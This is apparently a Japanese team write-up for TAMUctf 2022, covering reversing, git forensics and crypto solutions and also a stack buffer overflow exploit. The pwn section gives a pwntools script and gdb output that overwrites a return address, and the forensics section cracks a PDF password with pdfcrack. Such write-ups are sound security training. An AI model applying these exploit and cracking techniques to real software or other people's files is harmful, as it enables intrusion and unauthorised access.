この大会は2022/4/16 3:00(JST)~2022/4/18 3:00(JST)に開催されました。
今回もチームで参戦。結果は800点で476チーム中123位でした。
自分で解けた問題をWriteupとして書いておきます。
Tr*vial (Pwn)
BOFでwin関数をコールすればよい。
$ file trivial trivial: ELF 64-bit LSB executable, x86-64, version 1 (SYSV), dynamically linked, interpreter /lib64/ld-linux-x86-64.so.2, for GNU/Linux 3.2.0, BuildID[sha1]=a2e06495e3d045e0ec9080639349fecf3fcefb19, not stripped $ gdb -q ./trivial Reading symbols from ./trivial...(no debugging symbols found)...done. gdb-peda$ pattc 100 'AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL' gdb-peda$ r Starting program: /mnt/hgfs/Shared/trivial AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL Program received signal SIGSEGV, Segmentation fault. [----------------------------------registers-----------------------------------] RAX: 0x7fffffffddd0 ("AAA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RBX: 0x0 RCX: 0x7ffff7dcda00 --> 0xfbad2288 RDX: 0x7ffff7dcf8d0 --> 0x0 RSI: 0x405261 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL\n") RDI: 0x7fffffffddd1 ("AA%AAsAABAA$AAnAACAA-AA(AADAA;AA)AAEAAaAA0AAFAAbAA1AAGAAcAA2AAHAAdAA3AAIAAeAA4AAJAAfAA5AAKAAgAA6AAL") RBP: 0x3541416641414a41 ('AJAAfAA5') RSP: 0x7fffffffde28 ("AAKAAgAA6AAL") RIP: 0x401160 (<main+27>: ret) R8 : 0x4052c5 --> 0x0 R9 : 0x7ffff7fd74c0 (0x00007ffff7fd74c0) R10: 0x405010 --> 0x0 R11: 0x246 R12: 0x401050 (<_start>: xor ebp,ebp) R13: 0x7fffffffdf00 --> 0x1 R14: 0x0 R15: 0x0 EFLAGS: 0x10246 (carry PARITY adjust ZERO sign trap INTERRUPT direction overflow) [-------------------------------------code-------------------------------------] 0x401159 <main+20>: call 0x401040 <gets@plt> 0x40115e <main+25>: nop 0x40115f <main+26>: leave => 0x401160 <main+27>: ret 0x401161: nop WORD PTR cs:[rax+rax*1+0x0] 0x40116b: nop DWORD PTR [rax+rax*1+0x0] 0x401170 <__libc_csu_init>: push r15 0x401172 <__libc_csu_init+2>: mov r15,rdx [------------------------------------stack-------------------------------------] 0000| 0x7fffffffde28 ("AAKAAgAA6AAL") 0008| 0x7fffffffde30 --> 0x4c414136 ('6AAL') 0016| 0x7fffffffde38 --> 0x7fffffffdf08 --> 0x7fffffffe24b ("/mnt/hgfs/Shared/trivial") 0024| 0x7fffffffde40 --> 0x100008000 0032| 0x7fffffffde48 --> 0x401145 (<main>: push rbp) 0040| 0x7fffffffde50 --> 0x0 0048| 0x7fffffffde58 --> 0xc0b91e5bf8168663 0056| 0x7fffffffde60 --> 0x401050 (<_start>: xor ebp,ebp) [------------------------------------------------------------------------------] Legend: code, data, rodata, value Stopped reason: SIGSEGV 0x0000000000401160 in main () gdb-peda$ patto AAKAAgAA6AAL AAKAAgAA6AAL found at offset: 88
#!/usr/bin/env python3 from pwn import * p = remote("tamuctf.com", 443, ssl=True, sni="trivial") elf = ELF("./trivial") win_addr = elf.symbols["win"] payload = b"A" * 88 payload += p64(win_addr) print(payload) p.sendline(payload) p.interactive()
実行結果は以下の通り。
[+] Opening connection to tamuctf.com on port 443: Done [*] '/mnt/hgfs/Shared/trivial' Arch: amd64-64-little RELRO: Partial RELRO Stack: No canary found NX: NX enabled PIE: No PIE (0x400000) b'AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA2\x11@\x00\x00\x00\x00\x00' [*] Switching to interactive mode $ ls docker_entrypoint.sh flag.txt trivial $ cat flag.txt gigem{sorry_for_using_the_word_trivial}
gigem{sorry_for_using_the_word_trivial}
Covfefe (Reversing)
Bytecode Viewerで開き、classファイルをデコンパイルする。
public class Covfefe { public static void main(String[] var0) { byte var1 = 35; int[] var2 = new int[var1]; int var3; for(var3 = 0; var3 < var1; ++var3) { var2[var3] = 0; } var2[0] = 103; var2[1] = var2[0] + 2; var2[2] = var2[0]; for(var3 = 3; var3 < 8; ++var3) { switch(var3) { case 3: var2[var3] = 101; break; case 4: var2[6] = 99; break; case 5: var2[5] = 123; break; case 6: var2[var3 + 1] = 48; break; case 7: var2[4] = 109; } } var2[8] = 102; var2[9] = var2[8]; var2[24] = var2[25] = var2[28] = var2[7]; var2[10] = 51; var2[11] = var2[10] + 12 - 4 - 4 - 4; var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D); var2[13] = 49; var2[14] = 115; for(var3 = 16; var3 < 22; ++var3) { switch(var3) { case 16: var2[var3 + 1] = 108; break; case 17: var2[var3 - 1] = 52; break; case 18: var2[var3 + 1] = 52; break; case 19: var2[var3 - 1] = 119; break; case 20: var2[var3 + 1] = 115; break; case 21: var2[var3 - 1] = 121; } } var2[23] = 103; var2[26] = var2[23] - 3; var2[29] = var2[26] + 20; var2[30] = var2[29] % 53 + 53; var2[31] = var2[0] - 18; var2[32] = 80; var2[33] = 83; var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D); } }
最後にvar2の文字を出力するコードを追加して、コンパイルして実行する。
$ cat Covfefe.java public class Covfefe { public static void main(String[] var0) { byte var1 = 35; int[] var2 = new int[var1]; int var3; for(var3 = 0; var3 < var1; ++var3) { var2[var3] = 0; } var2[0] = 103; var2[1] = var2[0] + 2; var2[2] = var2[0]; for(var3 = 3; var3 < 8; ++var3) { switch(var3) { case 3: var2[var3] = 101; break; case 4: var2[6] = 99; break; case 5: var2[5] = 123; break; case 6: var2[var3 + 1] = 48; break; case 7: var2[4] = 109; } } var2[8] = 102; var2[9] = var2[8]; var2[24] = var2[25] = var2[28] = var2[7]; var2[10] = 51; var2[11] = var2[10] + 12 - 4 - 4 - 4; var2[12] = var2[15] = var2[22] = var2[27] = var2[0] - (int)Math.pow(2.0D, 3.0D); var2[13] = 49; var2[14] = 115; for(var3 = 16; var3 < 22; ++var3) { switch(var3) { case 16: var2[var3 + 1] = 108; break; case 17: var2[var3 - 1] = 52; break; case 18: var2[var3 + 1] = 52; break; case 19: var2[var3 - 1] = 119; break; case 20: var2[var3 + 1] = 115; break; case 21: var2[var3 - 1] = 121; } } var2[23] = 103; var2[26] = var2[23] - 3; var2[29] = var2[26] + 20; var2[30] = var2[29] % 53 + 53; var2[31] = var2[0] - 18; var2[32] = 80; var2[33] = 83; var2[var1 - 1] = (int)Math.pow(5.0D, 3.0D); for(int i = 0; i < 35; i++) { System.out.print((char)var2[i]); } System.out.print((char)10); } } $ javac Covfefe.java $ java Covfefe gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}
gigem{c0ff33_1s_4lw4ys_g00d_0xCUPS}
REdo 1 (Reversing)
インデックスを調整しながら、比較している。比較している文字を出力する。
#!/usr/bin/env python3 import struct a = [0x65676967, 0x00000000, 0x34427b6d, 0x5f433153, 0x616c5f43, 0x00000000, 0x4175476e, 0x525f4567, 0x00000000, 0x78305f45, 0x53414c47, 0x00007d53] p_flag = b'' for v in a: p_flag += struct.pack('<I', v) flag = b'' for i in range(34): idx = i if i >= 4 and i <= 15: idx += 4 if i >= 16 and i <= 23: idx += 8 if i > 23: idx += 12 flag += bytes([p_flag[idx]]) print(flag.decode())
gigem{B4S1C_C_lanGuAgE_RE_0xGLASS}
What's the Difference (Forensics)
$ git config --global --add safe.directory /mnt/hgfs/Shared/work/.git $ cd .git $ git log --all commit 0b055455560bce16787d2e2a7b0ae36b3ddd2b35 (HEAD -> master) Author: TacEx <TacEx@root.dev> Date: Fri Apr 8 02:14:25 2022 -0500 Whoops wrong flag commit e61bf8b90c60b29a241bd29205eb173ef79cd850 Author: TacEx <TacEx@root.dev> Date: Fri Apr 8 02:13:54 2022 -0500 Add writeup $ python -c 'import zlib; print zlib.decompress(open("objects/0b/055455560bce16787d2e2a7b0ae36b3ddd2b35").read())' commit 210tree 600fa8c6371a587cbf791a06cea3a40380047608 parent e61bf8b90c60b29a241bd29205eb173ef79cd850 author TacEx <TacEx@root.dev> 1649402065 -0500 committer TacEx <TacEx@root.dev> 1649402065 -0500 Whoops wrong flag $ python -c 'import zlib; print zlib.decompress(open("objects/60/0fa8c6371a587cbf791a06cea3a40380047608").read())' | xxd -g 1 00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52 tree 37.100644 R 00000010: 45 41 44 4d 45 2e 6d 64 00 f2 2d 0c b7 42 c3 95 EADME.md..-..B.. 00000020: 54 25 a3 ec d2 6a e5 32 b5 08 bf 9a 33 0a T%...j.2....3. $ python -c 'import zlib; print zlib.decompress(open("objects/f2/2d0cb742c3955425a3ecd26ae532b508bf9a33").read())' blob 2169# MetaCTF 2021: I Hate Python (Reverse Engineering) ## Description I hate Python, and now you will too. Find the password. ``` import random def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b) x = input("What's the password? ") if len(x) != 25: print("WRONG!!!!!") else: random.seed(997) k = [random.randint(0, 256) for _ in range(len(x))] a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) } b = list(range(len(x))) random.shuffle(b) c = [a[i] for i in b[::-1]] kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) if valid == len(x): print("Password is correct! Flag:", x) else: print("WRONG!!!!!!") ``` Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct. Now I can modify the script to brute force each character in the password to find the right password. ``` import random from os import system def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b) def python_sucks(passwd, current_length): random.seed(997) k = [random.randint(0, 256) for _ in range(len(passwd))] a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) } b = list(range(len(passwd))) random.shuffle(b) c = [a[i] for i in b[::-1]] kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) if valid > current_length: return True else: return False currFlag = '' for i in range(25): for j in range(33, 128): nextFlag = currFlag + chr(j) + 'A'*(24-i) assert(len(nextFlag) == 25) if python_sucks(nextFlag, len(currFlag)): currFlag = currFlag + chr(j) print(currFlag) break ``` Flag: MetaCTF{yOu_w!N_th1$_0n3} $ python -c 'import zlib; print zlib.decompress(open("objects/e6/1bf8b90c60b29a241bd29205eb173ef79cd850").read())' commit 156tree d98c1dda21df83c868f6327c344468804a3f0705 author TacEx <TacEx@root.dev> 1649402034 -0500 committer TacEx <TacEx@root.dev> 1649402034 -0500 Add writeup $ python -c 'import zlib; print zlib.decompress(open("objects/d9/8c1dda21df83c868f6327c344468804a3f0705").read())' | xxd -g 1 00000000: 74 72 65 65 20 33 37 00 31 30 30 36 34 34 20 52 tree 37.100644 R 00000010: 45 41 44 4d 45 2e 6d 64 00 95 fb 13 e6 ba cb cc EADME.md........ 00000020: be 2f 66 17 2f 2f bb 72 56 d6 01 29 0c 0a ./f.//.rV..).. $ python -c 'import zlib; print zlib.decompress(open("objects/95/fb13e6bacbccbe2f66172f2fbb7256d601290c").read())' blob 2179# MetaCTF 2021: I Hate Python (Reverse Engineering) ## Description I hate Python, and now you will too. Find the password. ``` import random def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b) x = input("What's the password? ") if len(x) != 25: print("WRONG!!!!!") else: random.seed(997) k = [random.randint(0, 256) for _ in range(len(x))] a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(x), k) } b = list(range(len(x))) random.shuffle(b) c = [a[i] for i in b[::-1]] kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) if valid == len(x): print("Password is correct! Flag:", x) else: print("WRONG!!!!!!") ``` Near the end of the script there is a comparison checking if valid is equal to the length of the password. This comparison led me to believe that each correct character in the password will add one to valid. By adding a print statement to check the value of valid and sending the program the password MetaCTFAAAAAAAAAAAAAAAAAA I was able to see that my hunch was correct. Now I can modify the script to brute force each character in the password to find the right password. ``` import random from os import system def do_thing(a, b): return ((a << 1) & b) ^ ((a << 1) | b) def python_sucks(passwd, current_length): random.seed(997) k = [random.randint(0, 256) for _ in range(len(passwd))] a = { b: do_thing(ord(c), d) for (b, c), d in zip(enumerate(passwd), k) } b = list(range(len(passwd))) random.shuffle(b) c = [a[i] for i in b[::-1]] kn = [47, 123, 113, 232, 118, 98, 183, 183, 77, 64, 218, 223, 232, 82, 16, 72, 68, 191, 54, 116, 38, 151, 174, 234, 127] valid = len(list(filter(lambda s: kn[s[0]] == s[1], enumerate(c)))) if valid > current_length: return True else: return False currFlag = '' for i in range(25): for j in range(33, 128): nextFlag = currFlag + chr(j) + 'A'*(24-i) assert(len(nextFlag) == 25) if python_sucks(nextFlag, len(currFlag)): currFlag = currFlag + chr(j) print(currFlag) break ``` Flag: gigem{b3_car3ful_b3for3_y0u_c0mmit}
gigem{b3_car3ful_b3for3_y0u_c0mmit}
Taxes (Forensics)
pdfのパスワードは米国のSocial Security Numberでハイフンはない。数字で000000000~999999999のどれかのパスワードになっているはず。pdfcrackでクラックする。
$ pdfcrack -f 2021-return-enc.pdf --charset="0123456789" -n 9 -m 9 PDF version 1.5 Security Handler: Standard V: 2 R: 3 P: -4 Length: 128 Encrypted Metadata: True FileID: b723cc6032e756aa478f5001ec79c0e5 U: 5c89613c1881c3f9e51c407e042355d90122456a91bae5134273a6db134c87c4 O: 9b08f608843a9a833ff15833e443ce5cb230bd0f49b7d6fa0612328f661dc7ba Average Speed: 55431.1 w/s. Current Word: '026801100' Average Speed: 55126.2 w/s. Current Word: '541112200' Average Speed: 58025.7 w/s. Current Word: '956173300' Average Speed: 56393.2 w/s. Current Word: '225994400' Average Speed: 58243.8 w/s. Current Word: '893466500' : : Average Speed: 25291.3 w/s. Current Word: '181110914' Average Speed: 24746.7 w/s. Current Word: '411605914' Average Speed: 25034.5 w/s. Current Word: '508600024' Average Speed: 24062.3 w/s. Current Word: '150884024' Average Speed: 24945.3 w/s. Current Word: '759689024' found user-password: '694705124'
このパスワードを使って、PDFを開くと、フラグが書かれていた。
gigem{hope_you_did_your_taxes_already}
Take a Byte (Crypto)
gigem{}の中が1文字ずつRSA暗号で暗号化されているようなので、ブルートフォースで復号する。
#!/usr/bin/env python3 from Crypto.Util.number import * with open('data.txt', 'r') as f: lines = f.read().splitlines() N = int(lines[0].split(' ')[-1]) e = int(lines[1].split(' ')[-1]) cs = lines[2].split(' ') flag = cs[0] for c in cs[1:-1]: for code in range(32, 127): if pow(code, e, N) == int(c): flag += chr(code) break flag += cs[-1] print(flag)
gigem{enumerable_SeArCh_SpAcEs_4R3_WEAK_0xBEEF}